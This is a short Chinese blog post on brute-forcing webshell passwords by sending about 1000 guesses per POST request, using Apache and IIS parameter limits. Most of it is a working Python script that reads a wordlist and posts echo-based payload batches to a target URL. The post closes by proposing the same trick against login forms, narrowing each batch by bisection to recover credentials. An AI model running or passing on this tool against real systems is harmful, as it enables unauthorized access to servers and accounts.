Reber's Blog

只会一点点编程、只会一点点渗透


利用多参数提高 webshell 爆破速度

0x00 原理

之前在https://www.t00ls.net/viewthread.php?tid=36985看到这个思路的。

Apache下默认同时允许接收1000个参数;IIS下默认同时允许接收5883个参数,可以一次提交多个密码,从而快速爆破。

0x01 爆破webshell代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# code by reber <1070018473@qq.com>

import sys
import requests

proxy = {'http':'http://127.0.0.1:8080'}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
}

def get_file(filename):
    data = []
    with open(filename,'r') as f:
        lines = f.readlines()
        for line in lines:
            data.append(line.strip())
    return data

def get_payloads(data):
    payloads = []
    for x in xrange(0,10):
        print x*1000,(x+1)*1000
        payload = []
        for y in data[x*1000:(x+1)*1000]:
            payload.append("%s=echo '%s';" % (y,y))
        payloads.append('&'.join(payload))
    return payloads

def run(url, payloads):
    for payload in payloads:
        resp = requests.post(url=url,data=payload,headers=headers)
        print resp.content

if __name__ == '__main__':
    url = sys.argv[1]
    filename = sys.argv[2]

    data = get_file(filename)
    payloads = get_payloads(data)
    run(url, payloads)

0x02 猜想

平时爆破表单时都是一次提交一个payload,比如说username='xxx'&password='xxx',10w个组合需要提交10w次,若一次提交500个组合则只需要提交200次

我们可以直接一次提交500个payload,如:name=‘111’&pass=‘111’&name=‘112’&pass=‘112’&name=‘113’&pass=‘113’& 。。。。。。(500个payload)

如果正确的密码在你测试的某1000个参数中,那么返回页面的是不同的,则可以断定正确的用户名和密码在这1000个参数里,然后对这1000个参数用二分法再次进行测试,直到得到正确的用户名和密码